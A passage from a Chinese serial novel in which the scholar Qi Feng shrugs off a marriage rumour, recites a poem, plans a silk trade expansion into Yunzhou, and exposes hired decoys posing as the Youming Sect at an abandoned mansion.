他现在只希望这场乌龙能尽快过去,不然还不知道要被多少人调侃。
三人又聊了会儿幽冥教的部署,确定了城西巡逻的人手和丐帮、江湖门派的联络事宜,赵明德看了眼窗外的天色,对着齐枫道:“齐贤弟,时候不早了,你是不是要去醉月楼?南宫姑娘和柳姑娘怕是还在等着呢。”
齐枫点头:“是啊,晚辈之前跟南宫姑娘说好在醉月楼汇合,商量锦绣阁拓展云州生意的事。”
“正好!”赵明德眼睛一亮,“我和卢大人也打算去醉月楼坐坐,顺便跟南宫姑娘商议一下中秋宴会的事
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,今年的中秋宴会,我们打算放在醉月楼办,那里场地宽敞,景致也好,还能请南宫姑娘和柳姑娘表演助兴。”
卢正淳也点头:“是啊,醉月楼的菜和酒都是府城一绝,中秋宴会放在那里,定能让宾客们满意。”
齐枫笑道:“那正好,咱们一起过去。”
三人起身,朝着府衙外走去。
赵明德和卢正淳走在前面,还在小声议论着齐枫和赵明兰的事,时不时传来一阵笑声。
齐枫跟在后面,无奈地摇着头,只觉得这两位大人比市井百姓还爱凑热闹。
走出府衙,阳光正好,街上的商贩们吆喝着生意,孩童们追逐嬉闹,一派热闹景象。
三人并肩而行,引得不少路人侧目。
赵明德和卢正淳是府城的父母官,齐枫是春闱榜首,三人同行,自然引人注目。
不多时,醉月楼的招牌便出现在眼前。
朱红的楼阁在阳光下格外醒目,楼外挂着的红灯笼随风摇曳,门口的伙计看到三人,连忙热情地迎上来:“赵大人、卢大人、齐公子,里面请!南宫姑娘和柳姑娘已经在雅间等着了,周公子他们也来了,正在大厅里喝茶呢!”
齐枫跟着两人走进醉月楼,刚踏入大厅,就听到一阵熟悉的笑声。
周子陵、徐远、陈玉堂三人正坐在大厅的八仙桌旁,面前摆着茶盏和点心,看到齐枫,立刻起身迎了上来。
周子陵率先开口,脸上满是促狭:“齐兄,你可算来了!我们都等你半天了!听说你今日去赵府提亲了?怎么样,赵小姐答应了吗?”
徐远也跟着起哄:“是啊齐兄!府城都传遍了,说你拉着赵小姐的手进了赵府,还跟王公子闹了一场,把人给气跑了!你可真厉害!”
陈玉堂也笑着道:“齐兄,你这速度也太快了!前几天还跟我们说没心思考虑婚事,这转眼就去提亲了,太不够意思了,都不跟我们说一声!”
齐枫听到“提亲”两个字,瞬间愣住,随即反应过来。
肯定是赵府的人把事情传出去了,而且还传变了味!
他一脸古怪地看着三人:“你们……你们听谁说的?我什么时候去提亲了?”
第两百一十七章 诗惊众人
周子陵拍着齐枫的肩膀,笑得肩膀都在抖,哈哈大笑:“齐兄,你就别嘴硬了!南街的茶肆都传疯了,说你今日在赵府前厅,当着赵夫人和王、李两位夫人的面,把王公子的诗批得一无是处,赵小姐当场就拉着你的手说‘非你不嫁’,这要是不算提亲,那什么才算?”
徐远凑过来,眼中满是促狭,还故意挤了挤眼睛:“可不是嘛!我家仆役今早去买豆浆,还听见茶肆的说书先生编了段才子佳人斗纨绔的段子,说你诗压盐商子,情定赵家女,听得茶客们拍案叫绝!”
陈玉堂也笑着摇头,手里的折扇摇得飞快:“齐兄,你这藏得也太深了!前几日还跟我们说一心备考,无心他顾,转头就把府城最娇俏的赵小姐拿下了,太不够意思了,都不提前透个风!”
齐枫被三人围在中间,听得头都大了,刚想辩解,就见楼梯口传来一阵轻柔的脚步声。
南宫玥身着月白纱裙,裙摆绣着细碎的银线,走一步便似有月光流淌。
柳若雪则是一袭青衫,袖口绣着淡竹,气质清雅如竹。
两人刚走到大厅,就听见满厅的调侃,南宫玥脸颊微红,却还是提着裙摆走上前:“诸位哥哥别取笑齐郎了,他跟明兰妹妹只是朋友,哪有什么提亲的事?刚不久明兰妹妹还跟我吐槽,说她娘太着急,闹了好大一场乌龙呢。”
柳若雪也跟着点头,手指轻轻拂过鬓边的珠花:“是啊,齐公子只是帮明兰妹妹挡相亲,王公子自己技不如人还输不起,这才闹得人尽皆知。大家就别再拿这事调侃他了,免得传得更离谱。”
齐枫像是抓住了救命稻草,连忙顺着话头解释:“正是!我今日去赵府,先是被明兰拉去吃早点,她娘见了我就问东问西,还硬留我吃饭,后来王公子上门相亲,非要跟我比诗,我也是没办法才应下的。哪有什么提亲,都是赵府的下人传错了!”
他怕众人不信,还把今早的经过细细说了一遍。
从赵明兰把豆浆喷他衣襟,到赵夫人把东坡肉堆成小山,再到王公子拍着金元宝,每一个细节都鲜活生动,听得众人哈哈大笑。
周子陵笑得直揉肚子:“原来还有这么多趣事!那王公子也太丢人了,拿金元宝跟读书人比,简直是自取其辱!”
徐远也点头:“可不是嘛!齐兄那首诗我虽没听过,但光想也知道比王公子的‘自夸诗’强百倍!换作是我,也得羞愧得跑路!”
陈玉堂摸着下巴,忽然凑近齐枫,压低声音:“齐兄,我跟你说,依我看,赵夫人怕是故意把消息传出去的!你想啊,她要是真觉得是乌龙,怎么不拦着下人?分明是想借这事儿断了其他人的念想,让大家都知道赵小姐心有所属,省得再有人上门提亲!”
齐枫心中一动。
陈玉堂说得还真有道理。
赵夫人今日看他的眼神,那股子热切根本藏不住,怕是早就打着“撮合”的主意了。
他无奈地叹了口气:“不管是不是故意的,这下我怕是要成府城的‘笑话’了。”
南宫玥连忙递过一杯茶水,柔声安慰:“齐郎别这么说,大家不过是觉得有趣,没有取笑你的意思。等过几日有了新话题,大家自然就忘了。”
柳若雪也跟着道:“是啊,咱们还是说说正事吧。霍将军已经到了,在雅间等了好一会儿,说是要跟你商量云州商盟的合约细节。”
众人正说着,就见霍天都身着深蓝色锦袍,从二楼雅间走了下来。
他身姿挺拔,腰间佩着一把古朴的长刀,虽穿着商人的服饰,却难掩一身武将的英气。
刚走到大厅,就被满厅的笑声吸引,忍不住问道:“诸位笑得这么开心,可是有什么趣事?”
周子陵连忙把齐枫的“乌龙提亲”说给霍天都听,还添油加醋地描述了王公子“金元宝砸桌”的窘态。
霍天都听完,也忍不住笑
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了,拍着齐枫的肩膀道:“齐公子,没想到你还有这么鲜活的经历。赵小姐性子直爽,敢爱敢恨,跟你这从容沉稳的性子正好互补,若是真能成,倒也是一桩良缘。”
齐枫刚想辩解,就见霍天都的笑容忽然僵在脸上,眼神下意识地往楼梯口瞟。
齐枫顺着他的目光看去,只见楚清秋正站在阴影里,青衣的下摆垂在地上,手里的软剑虽未出鞘,却透着一股冷意,显然是听到了霍天都的调侃。
霍天都心中咯噔一下,他可是知道楚清秋的**,但不明白楚清为什么这么看他。
柳若雪白了他一眼,霍天都心思急转!难不成……
他连忙收敛笑容,干咳一声转移话题:“好了好了,别再调侃齐公子了。云州商盟的订单我已经带来了,丝绸的纹样和数量都列得清清楚楚,咱们还是先去雅间商议正事吧,别耽误了时辰。”
众人见霍天都突然严肃起来,也识趣地不再调侃。
周子陵忽然想起什么,拉着齐枫的袖子追问:“齐兄,你还没说呢,你跟王公子比诗,到底写了什么诗?能把他比得落荒而逃,定是好诗!”
徐远和陈玉堂也跟着点头,眼神满是期待:“是啊齐兄,快给我们念念!你之前写的那些诗,现在街头的孩童都会背,我们还没听过你念新写的诗呢!”
齐枫被众人盯得没办法,只能无奈道:“也不是什么惊世骇俗的诗,就是当时看着南街的烟火气,随手写的一首小绝。”
他清了清嗓子,目光扫过大厅外的南街。
卖糖人的小贩正对着孩童笑,挑着菜筐的农妇边走边跟邻居打招呼,阳光洒在青石板上,满是人间烟火。
他缓缓开口:“青石巷陌起炊烟,稚子追蝶戏院前。莫道人间无雅趣,一粥一饭也香甜。”
诗刚念完,大厅内瞬间安静下来。
连窗外的喧嚣都仿佛被隔绝在外,只剩下众人的呼吸声。
第两百一十八章 赤子之心
周子陵手里的点心掉在桌上都没察觉,徐远张着嘴,扇子停在半空,陈玉堂更是瞪大了眼睛,满是难以置信。
过了好一会儿,周子陵才猛地拍着桌子,激动的满脸通红:“好诗!这才是真真正正的好诗!没有半句浮夸,全是生活里的小事,却比那些高楼望断天涯路的酸诗强百倍!一粥一饭也香甜,这一句写得太绝了,把寻常日子的暖都写透了!”
徐远也激动地走上前,抓着齐枫的手道:“齐兄,你这诗要是传出去,比你之前那首还得火!王公子跟你比诗,简直是拿鸡蛋碰石头!换作是我,听完这首诗,也得羞愧得找地缝钻!”
陈玉堂则是连连点头,手里的折扇都忘了摇:“可不是嘛!这诗看着简单,却最见功底。把南街的烟火气写得活灵活现,读着就觉得心里暖烘烘的。我敢说,府城的文人要是听到这首诗,怕是要羞愧得不敢提笔了!”
南宫玥眼中满是星光,声音都带着几分颤抖:“齐郎,你这才华,真是无人能及。有你这首诗,锦绣阁的丝绸定能让更多人喜欢,大家买的不仅是丝绸,更是这份对生活的热爱。”
柳若雪也轻声赞叹:“是啊,这首诗有血有肉,比那些无病**的作品强太多了。若是把诗印在锦绣阁的丝绸上,定能成为爆款。”
霍天都也忍不住赞道:“齐公子不仅有谋略有胆识,还有如此细腻的心思,能从一粥一饭里品出雅趣,这份心境,常人难及。有你这样的合作伙伴,我对云州的生意更有信心了。”
楚清秋站在阴影里,听着齐枫的诗,握着软剑的手渐渐松开。
面纱下的眼神不再冰冷,反而多了几分柔和。
她见过太多为了自己的目的而变得冷酷的人,却没想到齐枫能在波诡云谲的局势里,依旧保有这份对寻常生活的热爱。
齐枫被众人夸得有些不好意思,连忙摆手:“就是一时兴起写的,大家别太过誉了。霍将军还在等着,咱们还是先去雅间谈生意吧,别让他等急了。”
众人这才收敛赞叹,簇拥着齐枫往雅间走去。
阳光透过醉月楼的窗棂洒进来,落在齐枫的青衫上,映得他眉眼温润。
醉月楼二楼的雅间内,雕花木窗半开着,晚风卷着南街的桂花甜香涌入,吹动了桌上铺开的丝绸样布。
齐枫、霍天都、周子陵等人围坐在八仙桌旁,桌上不仅摆着精致的茶点,还摊着几张泛黄的宣纸。
一张画着云州城镇分布图,标注着水运航线和商盟商号。
另一张则画着锦绣阁的丝绸纹样,从淡雅的兰草纹到繁复的缠枝莲,笔墨清晰。
阳光跳动,将众人的影子映在墙上,气氛热烈。
霍天都指着地图上“云州城”的红圈标记,指尖划过周边的清河镇、望江县,脸色带着几分郑重:“云州城是云州的中枢,商盟三十多家商号有一半集中在城里的西大街,客流量最大,清河镇是水运枢纽,来往商船能直达江南。”
“咱们的丝绸若从这里转运,比走陆路节省三成运费,望江县则是产棉重地,当地百姓对布料需求大,适合铺平价丝绸。”
周子陵凑上前,手指点了点清河镇的码头标记,眼睛一亮:“清河镇好!我去年去过一次,那里的码头昼夜都有商船停靠,不仅能运丝绸,还能跟船老板合作,让他们帮咱们带消息,云州各地的布料行情、百姓喜好,都能及时传回来。”
徐远也跟着点头,手里把玩着一块丝绸样布:“是啊!而且清河镇的商户多,咱们可以在那里设个中转仓库,把丝绸先运过去,再分发给周边县城的商号,这样既能减少损耗,还能灵活调整库存,免得有的地方断货,有的地方压货。”
齐枫端着茶盏,目光落在地图上,手指轻轻敲击着桌面,沉吟片刻后开口:“设仓库是基础,但要想在云州站稳脚,
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得先摸透当地的脾性,我听南宫姑娘说,云州靠水,百姓偏爱鲜亮颜色和水波纹样,咱们的流云锦颜色太淡,怕是可能会销量不好。”
他拿起笔,在纹样图上添了几笔,画出灵动的水纹和艳丽的牡丹:“接下来要调整纹样,多做水纹、云纹、牡丹纹,颜色用正红、明黄、宝蓝这些亮色,价格也得分级,高端线做织金、绣银的锦缎,供官员和富商。”
“中端线做印花绸,卖给商户和小康之家,低端线做粗布和印花棉布,走量卖给百姓,这样能覆盖所有客群。”
霍天都眼前一亮,连忙拿起纹样图细看,点头道:“齐公子说得太对了!类似的流云锦,确实因为颜色淡雅,只有文人喜欢,销量远不够,若是换成这些鲜亮纹样,定能吸引更多人!”
“不止纹样和价格,”齐枫放下笔,点了点地图上的云州城,“咱们还得搞定制服务。云州的商户喜欢在店铺招牌、礼盒上印自家名号,官员也爱在朝服、家眷服饰上绣族徽。咱们可以推出专属定制,客户想要什么纹样、什么字,都能绣上去,还能提供上门量体裁衣的服务,这样既能卖高价,还能拉拢大客户,让他们觉得有面子。”
周子陵猛地拍了下桌子,笑得眼睛都眯了起来:“这个主意绝了!上次有个云州的粮商找我,问能不能在丝绸上绣他的丰裕粮行名号,说想给老客户当伴手礼,我当时还没敢应,现在有齐兄这话,咱们就能放开做了!定制服务的利润至少是普通丝绸的两倍,这生意稳赚!”
陈玉堂也笑着补充:“而且定制能绑定客户!一旦他们习惯了用咱们的定制丝绸,就不会轻易换别家,毕竟别家没这么贴心的服务。咱们还能给长期定制的客户送些小礼物,比如绣着他们名号的手帕、荷包,让他们更愿意跟咱们合作。”
齐枫微微一笑,这法子当然好用,后世不知道多少人实践过的真理!
第两百一十九章 灾难!
南宫玥捧着一块绣好的兰草纹丝绸,轻声道:“齐郎考虑得真周全。定制服务还能打响锦绣阁的名声,若是云州的官员都穿咱们绣的族徽服饰,百姓见了,自然会觉得锦绣阁的丝绸好,跟着购买。”
柳若雪也点头附和:“是啊,我还可以教云州的绣娘咱们的独家绣法,比如叠针绣,绣出来的纹样立体,还不易勾线。这样既能解决绣娘不足的问题,还能让锦绣阁的丝绸有独家特色,别人想学都学不来。”
齐枫继续道:“还有一点,得跟云州的染坊合作。云州产的苏木、红花、靛蓝,染出来的颜色鲜亮还耐洗,比咱们从府城运过去的染料成本低三成。”
“咱们可以跟染坊签订长期合约,让他们专门为咱们调色,还能保证染料的独家性,别家染坊调不出一样的颜色,咱们的丝绸就更有竞争力。”
霍天都听得连连点头,眼中满是敬佩:“齐公子的思路环环相扣,从产品到渠道,再到服务,每一步都想到了。有这些策略,咱们在云州的生意定能一炮而红!我这就安排人去对接染坊和仓库,争取下个月就把第一批定制纹样的丝绸运过去。”
众人又围绕着细节讨论起来。
周子陵负责联系清河镇的仓库,徐远负责制定定制服务的价格表,陈玉堂负责培训绣娘,南宫玥和柳若雪则设计新的云州专属纹样,霍天都则统筹云州商盟的商号对接。
每个人都有明确的分工,讨论得热火朝天,不知不觉间,窗外的天色渐渐暗了下来。
雅间内的烛火被丫鬟点亮,暖黄的光晕映在众人脸上,每个人都带着兴奋的神色。
霍天都收起地图和纹样图,对着齐枫拱手道:“齐公子,今日跟你一番讨论,真是茅塞顿开。之前我还担心锦绣阁在云州打不开市场,现在有这些策略,我心里踏实多了。”
齐枫笑着摆手:“都是大家一起想的,光靠我一个人也不行。接下来咱们各司其职,有什么问题随时沟通。锦绣阁的绣娘和染料,我会尽快安排好,保证不耽误第一批货的运输。”
周子陵伸了个懒腰,拿起一块桂花糕塞进嘴里,含糊道:“等咱们的丝绸在云州卖火了,咱们就成府城最厉害的商户了!到时候,我请大家在醉月楼连吃三天,把最好的酒和菜都点上!”
徐远和陈玉堂也跟着附和,雅间内的气氛越发热烈。
南宫玥端起茶杯,对着众人笑道:“那我就提前恭喜大家了。等云州的生意稳定了,咱们还可以把锦绣阁开到江南去,让更多人知道咱们的丝绸。”
柳若雪也点头:“是啊,江南的丝绸市场更大,咱们有这些好策略,肯定能做得更好。”
就在这时,雅间的门突然被“砰”地一声推开,富贵满头大汗地跑了进来,发髻都歪了,青色的仆役服后背被汗水浸湿了一大片,显然是跑了很远的路。
他刚进门,就对着齐枫急声道:“少爷!不好了!咱们派去城西的弟兄传回消息,说看到十几个鬼鬼祟祟的人,在城西的废弃古宅附近转悠!”
众人脸上的笑容瞬间僵住,热烈的气氛瞬间冷却。
齐枫缓缓站起身,问道:“具体是什么情况?那些人有多少?穿什么衣服?手里拿了什么东西?”
富贵扶着门框喘了口气,连忙道:“弟兄说,大概有十五六个,都穿着黑色的夜行衣,脸上蒙着黑布,只露着眼睛。手里拿着铁锹、锄头,还有几个扛着粗木棍子,像是在挖什么东西。他们躲在废弃古宅的墙角阴影里,动作很轻,要不是弟兄们趴在远处的大树上,根本发现不了!”
周子陵脸色一变,猛地攥紧了拳头,沉声道:“黑色夜行衣?蒙着黑布?还拿着铁锹锄头?十有**是幽冥教的人!城西的废弃古宅阴气重,本就是咱们怀疑的血月祭地点,他们现在在那里挖东西,肯定是在布置祭坛,或者是在埋藏用来施展邪功的器物!”
陈玉堂脸上的兴奋也消失得无影无踪,脸上带着几分紧张:“
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这么快?咱们才刚商议好对付幽冥教的部署,他们就开始行动了?难道是咱们的计划被他们察觉了?”
徐远也脸色发白,下意识地往齐枫身边靠了靠:“不会吧?咱们的议事,都是心腹,没外人知道啊。那些人手里的铁锹锄头,该不会是在挖地窖,用来关押祭品吧?”
南宫玥也皱起眉头:“要是他们真在布置祭坛,那离血月祭就越来越近了。咱们还没摸清他们的具体人数和实力,要是贸然行动,怕是会吃亏。”
齐枫眉头紧锁,心中快速盘算。
幽冥教的人比预想中行动得更早,这说明他们的计划可能更紧迫,也更危险。
城西废弃古宅地处偏僻,晚上少有人去,正好方便他们暗中布置,若是不及时阻止,等他们把祭坛建好,再抓够祭品,血月祭就很难阻止了。
他深吸一口气,对着富贵道:“富贵,你立刻分两步走,第一,去府衙通知赵大人和卢大人,让他们派两队精兵,悄悄去城西废弃古宅外围埋伏,不要打草惊蛇,先摸清那些人的底细和目的,第二,派人去丐帮分舵找鲁舵主,让他派些身手好的弟兄,盯着古宅周边的小巷,防止幽冥教还有同伙在附近接应,一旦发现异常,立刻回报!”
富贵连忙点头,抹了把脸上的汗水:“是,少爷!我这就去!保证不会耽误事!”
说完,他又急匆匆地跑了出去,脚步声很快消失在楼梯口。
雅间内的气氛瞬间变得压抑起来,烛火跳动,映得众人的脸色忽明忽暗。
每个人都看着齐枫,眼中满是担忧。
一场不可避免的较量,正在悄然逼近。
齐枫走到窗边,望着窗外漆黑的夜色,南街的灯火在夜色中闪烁,却照不亮城西的阴暗角落。
接下来的两个月,不仅要忙着锦绣阁的生意,更要跟幽冥教斗智斗勇。
而这一切,都必须在血月祭之前结束!
否则,府城的百姓,将会面临一场巨大的灾难。
第二百二十章 联合夹击
废弃古宅外,夜色浓得像化不开的墨。
齐枫、赵明德、卢正淳带着两队精兵,悄无声息地伏在古宅周围的老槐树林里。
月光透过稀疏的枝叶,在地面投下细碎的银斑。
空气中混杂着腐叶的霉味和尘土的干燥气息,偶尔有秋虫的鸣叫声从草丛里传来。
却衬得这片区域愈发寂静,连风吹过树梢的声音都清晰可闻。
赵明德身着藏青色便服,腰间佩着一把镔铁短刀,刀刃在月光下泛着冷光。
他压低声音,凑近齐枫道:“齐贤弟,富贵说那些黑衣人已经在里面挖了快一个时辰了,咱们要不要先派两个身手好的弟兄摸进去探探?万一他们在里面布置了什么邪门的阵法,咱们贸然冲进去,怕是要吃亏。”
齐枫目光紧盯着古宅那扇破旧的朱漆木门。
门板上的漆皮早已剥落,露出里面发黑的木头,门轴似乎锈住了。
虚掩着一道缝隙,隐约能看到里面跳动的火光,还有铁锹挖土时“沙沙”的闷响,断断续续传出来。
他摇了摇头,声音压得极低:“不能急。幽冥教的人最擅长用陷阱和邪术,之前金山寺那两个教徒,就会用血遁之术脱身,这些人要是真的幽冥教徒,说不定在门口就设了埋伏。咱们得等丐帮的人到,确认周边没有后手,再动手不迟。”
卢正淳也收起了平日里把玩的折扇,换成了一把青钢长剑,剑鞘上的缠绳被他攥得发白。
他顺着齐枫的目光看向古宅,眉头紧锁:“齐公子说得是。幽冥教行事向来阴狠,不会这么轻易让咱们抓住踪迹。鲁舵主说会亲自带人来查探周边小巷,算算时间,也该到了。”
话音刚落,远处的巷口突然传来三声轻微的哨声。
“嘘、嘘、嘘”,声音短促,却在寂静的夜里格外清晰。
齐枫眼中一亮,这是丐帮约定的信号。
他对着身边的士兵做了个“保持警惕”的手势,自己则猫着腰,借着树影的掩护,悄无声息地朝着巷口摸去。
刚走到巷口,就见鲁舵主带着十几个丐帮弟子从阴影里走了出来。
鲁舵主穿着一身洗得发白的粗布短打,脸上几道深浅不一的刀疤在月光下格外显眼,手里的打狗棒被他握得紧紧的。
看到齐枫,他连忙上前一步,压低声音道:“齐公子,我们查遍了古宅周边的三条小巷,没发现其他黑衣人,也没看到可疑的车马。看这架势,里面的人应该就只有十五六个,没有外围接应。”
齐枫松了口气,对着鲁舵主拱手道:“多谢鲁舵主。辛苦你们了,这么快就查清楚了情况。”
“嗨,这算啥辛苦!”鲁舵主摆了摆手,脸上带着几分愤慨,“幽冥教的人害了不少丐帮弟兄,咱们早就想跟他们算账了。现在里面情况咋样?要不要直接冲进去把人抓了?”
齐枫却没急着点头,而是指了指古宅二楼那扇破了个洞的窗户:“先别急,咱们得先弄清楚他们在挖什么。鲁舵主,你手下有没有轻功好的弟兄?让他悄悄爬上去看看里面的情况,别打草惊蛇。”
鲁舵主立刻转头,对着身后一个身材瘦小、眼神灵动的丐帮弟子道:“猴子,该你上了!爬快点,看清楚里面的人在干啥,有没有啥奇怪的东西,小心别被发现了!”
那名叫猴子的弟子应了一声,从怀里掏出一副铁爪,往墙上一扣,手脚并用,像只真正的猴子一样,沿着古宅斑驳的砖墙快速攀爬。
他动作极轻,连墙砖碎屑都没碰掉几块,很快就爬到了二楼的窗户边。
他悄悄拨开窗户上破了洞的窗纸,往里看了片刻,又快速爬了下来,落地时轻得像片叶子。
“齐公子,鲁舵主,”猴子凑过来,声音带着几分急促,“里面的人都穿着黑衣服,蒙着脸,在院子中间挖一个大坑,坑都快有一人深了!坑边还放着四个木箱子,我瞅着箱子缝里露出来点布料,像
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是破旧的衣服!他们嘴里还瞎念叨,什么血月,祭品,唤醒之类的,听得我心里发毛!”
赵明德和卢正淳也凑了过来,听到血月,祭品,两人脸色瞬间沉了下来。
赵明德攥紧了腰间的短刀,咬牙切齿:“果然是幽冥教的人!这是在为血月祭挖祭坛!咱们不能再等了,再等下去,他们把祭坛挖好,说不定就要开始抓百姓当祭品了!”
卢正淳也点头附和,青钢剑的剑鞘在手里转了个圈:“是啊!咱们现在人多,正好把他们一网打尽,说不定还能从他们嘴里问出真正的祭坛地点和血月祭的细节!”
齐枫却皱起了眉头,心里总觉得哪里不对劲。
他回想起猴子的话。
“嘴里瞎念叨”“破旧的衣服”,幽冥教的教徒行事向来严谨,就算是布置祭坛,也该有固定的咒语,不会是“瞎念叨”。
而且如果真的是为血月祭做准备,箱子里装的应该是法器或者用来束缚祭品的锁链,怎么会是破旧衣服?
“等等,”齐枫伸手拦住了准备下令的赵明德,“咱们再等等。我总觉得不对劲。幽冥教的教徒都是经过训练的,就算是布置祭坛,也不会这么随意,而且他们的声音……猴子说他们是瞎念叨,不像是有章法的咒语。”
赵明德和卢正淳对视一眼,虽然心里着急,但想到齐枫之前多次准确判断局势,还是压下了冲动。
卢正淳沉吟道:“齐公子这么说,倒也有道理。那咱们再观察一会儿?看看他们接下来要做什么。”
齐枫点头,示意猴子再去探一次。
猴子这次爬得更快,趴在窗户边看了足足一炷香的时间,才爬下来,脸色比刚才更古怪:“里面的人停手了!他们围在坑边,好像在吵架!有个人说挖这么深够了吧,累**,还有人说再挖点,不然钱拿不到,吵了半天,那个看起来像头目的人,打开了一个木箱子,里面居然是一堆稻草人!”
第两百二十一章 调虎离山
“稻草人?”众人都愣住了。
赵明德下意识地重复了一遍,满脸疑惑,“幽冥教的人挖大坑埋稻草人?这是要做什么?用稻草人代替祭品?可他们之前明明念叨着祭品,没听说过幽冥教的邪术能用稻草人啊!”
卢正淳也皱着眉,手指无意识地敲着剑柄:“不对劲,太不对劲了。如果只是埋稻草人,根本没必要半夜偷偷摸摸来废弃古宅,还穿黑衣服蒙脸。这里面肯定有问题。”
齐枫心里突然闪过一个念头,脸色瞬间变了:“不好!咱们可能上当了!这些人根本不是幽冥教的人,是有人故意假扮的!目的就是把咱们引到这里来,拖延时间,他们好去别的地方布置真正的祭坛!”
他话音刚落,古宅里突然传来一阵慌乱的叫喊声,紧接着就是桌椅倒地的“哐当”声。
众人连忙朝着古宅看去,只见那些黑衣人突然像炸了锅一样,四处乱窜,有的往门口跑,有的往后院冲,看起来像是受到了极大的惊吓。
“不好!他们要跑!”齐枫大喊一声,“动手!别让他们跑了!”
话音未落,齐枫率先冲了出去,手中的折扇“唰”地展开,扇骨里藏着的三寸利刃在月光下闪着寒光。
他之前就在赵明德面前稍微展现过一点武艺了,所以也没必要瞒得太死。
赵明德和卢正淳也立刻下令,两队精兵跟着冲了上去,刀剑出鞘的“锵锵”声划破夜空。
鲁舵主则带着丐帮弟子绕到古宅后院,堵住了后门,形成合围之势。
那些黑衣人看到有人冲进来,跑得更慌了。
一个身材高大的黑衣人刚跑到门口,就被齐枫拦住。
齐枫手腕一翻,折扇朝着对方的膝盖打去,动作又快又准。
那黑衣人惨叫一声,“扑通”一声跪倒在地,脸上的黑布也被风吹掉,露出一张满脸横肉的脸,额头上还沾着泥土,看起来像是个街头混混。
齐枫一脚踩在他的背上,手中的折扇抵住他的脖子,厉声道:“说!你们是谁?为什么要假扮幽冥教的人在这里挖大坑?谁派你们来的?”
那混混被踩得喘不过气,脸憋得通红:“大侠饶命!大侠饶命啊!我们不是故意的!是……是一个戴着斗笠的人找的我们,给了我们每人五两银子,让我们穿黑衣服、蒙着脸,在这里挖一个大坑,埋上稻草人,还让我们念叨什么血月,祭品的话,说只要我们照做,等天亮了再给五两银子!我们就是想赚点钱,不知道这是犯法的啊!”
齐枫心中一沉。
果然不是幽冥教的人!这是一个彻头彻尾的圈套!
另一边,赵明德也抓住了一个黑衣人,扯掉对方的黑布,发现是个留着山羊胡的流浪汉,身上还带着一股酒气。
那流浪汉吓得浑身发抖,断断续续地交代,也是被一个戴斗笠的人用银子收买,连念叨的话都是对方提前教好的,他根本不知道什么是幽冥教。
卢正淳抓的几个黑衣人,也都是些街头混混和流浪汉,说辞跟之前的两**同小异。
都是被戴斗笠的人收买,不知道雇主的**,只知道要在这里挖大坑、埋稻草人、念奇怪的话。
“岂有此理!”赵明德气得脸色铁青,一脚踹在旁边的破桌子上,桌子腿“咔嚓”一声断了。
“竟然有人敢设计陷害我们!他们到底想干什么?难道就是为了拖延我们的时间,让我们错过追查真正的祭坛?”
卢正淳也皱着眉,脸色凝重:“很有可能。幽冥教的人可能知道我们在追查血月祭了,所以故意设下这个圈套,让我们以为这里就是祭坛所在地,把兵力都集中在这里,他们好趁机在别的地方布置真正的祭坛。等我们发现上当,他们说不定已经准备好了。”
鲁舵主也愤怒地用打狗棒敲了敲地面,骂道:“这些混蛋!太狡猾了!竟然用这种手段耍我们!齐公子,现在该
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怎么办?要不要让丐帮的弟兄们在全城搜查,找那些戴斗笠的人?”
齐枫蹲下身,看着那个被踩在地上的混混,语气冰冷:“你再想想,那个戴斗笠的人有没有什么特征?比如声音、身高,或者身上有什么特别的味道?”
那混混努力回忆了一下,颤声道:“他……他说话声音很沙哑,像是故意捏着嗓子,身高大概七尺左右,身上好像有一股……一股草药的味道,不是普通的草药,有点像……像艾草和硫磺混合的味道!”
“艾草和硫磺?”齐枫眼中闪过一丝疑惑,艾草通常用来驱虫,硫磺则有驱邪的作用,这两种东西混合在一起,会是什么用途?
难道跟幽冥教的邪术有关?
他站起身,对着众人道:“现在全城搜查肯定来不及了。那个戴斗笠的人既然敢设下这个圈套,肯定早就做好了准备,不会轻易留下线索。”
“咱们现在最重要的是,从这些人口中问出更多细节,比如戴斗笠的人是在哪里跟他们接头的,有没有提到其他地点,还有他们收到的银子有没有什么特别之处。”
赵明德立刻点头,对着身边的士兵下令:“把这些人都绑起来,带回府衙严加审问!一定要问出所有细节,哪怕是一点蛛丝马迹都不能放过!”
士兵们应了一声,拿出绳索,将那些混混和流浪汉绑了起来,押着他们往府衙的方向走去。
古宅的院子里,只剩下那个挖好的大坑,还有四个打开的木箱子,里面的稻草人歪歪扭扭地躺着,身上还穿着破旧的衣服,看起来格外诡异。
月光洒在大坑里,坑底积了一层薄薄的露水,反射着冷光。
齐枫走到坑边,往下看了一眼,心中暗道:幽冥教的人这一步棋走得太妙了,不仅让他们扑了个空,还浪费了宝贵的时间。
离血月祭只有两个月了,他们必须尽快找到真正的祭坛地点,否则后果不堪设想!
第两百二十二章 变故突生!
“鲁舵主,”齐枫转头对着鲁舵主道,“麻烦你让丐帮的弟兄们多留意府城各个偏僻的地方,尤其是乱葬岗、废弃寺庙、还有城外的破窑,这些地方阴气重,很可能被幽冥教用来布置祭坛。”
“一旦发现有戴斗笠、身上有艾草和硫磺味道的人,或者有异常的挖坑、埋东西的情况,立刻通知我和赵大人。”
鲁舵主郑重地点头:“齐公子放心!丐帮的弟兄遍布府城的大街小巷,就算是一只老鼠,也逃不过我们的眼睛!只要幽冥教的人敢在府城活动,我们一定能发现!”
说完,鲁舵主带着丐帮弟子也离开了。
古宅里只剩下齐枫、赵明德和卢正淳三人,夜风卷起地上的尘土,吹得三人的衣角猎猎作响。
赵明德叹了口气,走到齐枫身边,脸上带着几分庆幸:“齐贤弟,这次多亏了你细心,不然我们真的要中了幽冥教的圈套,把兵力都浪费在这里,到时候真正的祭坛布置好了,我们都不知道。”
卢正淳也点头附和:“是啊!幽冥教的人太狡猾了,以后我们做任何决定都得更加谨慎,不能再被他们牵着鼻子走了。”
齐枫摇了摇头:“现在不是说这些的时候。咱们得尽快回府衙,看看那些混混能不能问出更多线索。时间不多了,我们必须跟幽冥教抢时间,一定要在血月祭之前找到真正的祭坛,阻止他们的阴谋!”
赵明德和卢正淳点了点头,三人不再多说,转身朝着府衙的方向走去。
夜色中,他们的身影被月光拉得很长,一步步朝着灯火通明的府城走去。
齐枫、赵明德和卢正淳刚踏入府城西门,马蹄声还未歇,就见一个府衙差役骑着快马从街角冲出来。
马鬃上沾着尘土,差役的官帽歪在脑后,脸色惨白如纸,连呼喊的声音都带着颤音。
“大人!不好了!出大事了!城西李家村……李家村出事了!”
赵明德心中咯噔一下,快步上前攥住马缰绳,厉声问道:“慌什么!慢慢说!李家村到底出了什么事?是遭了匪患,还是发了疫病?”
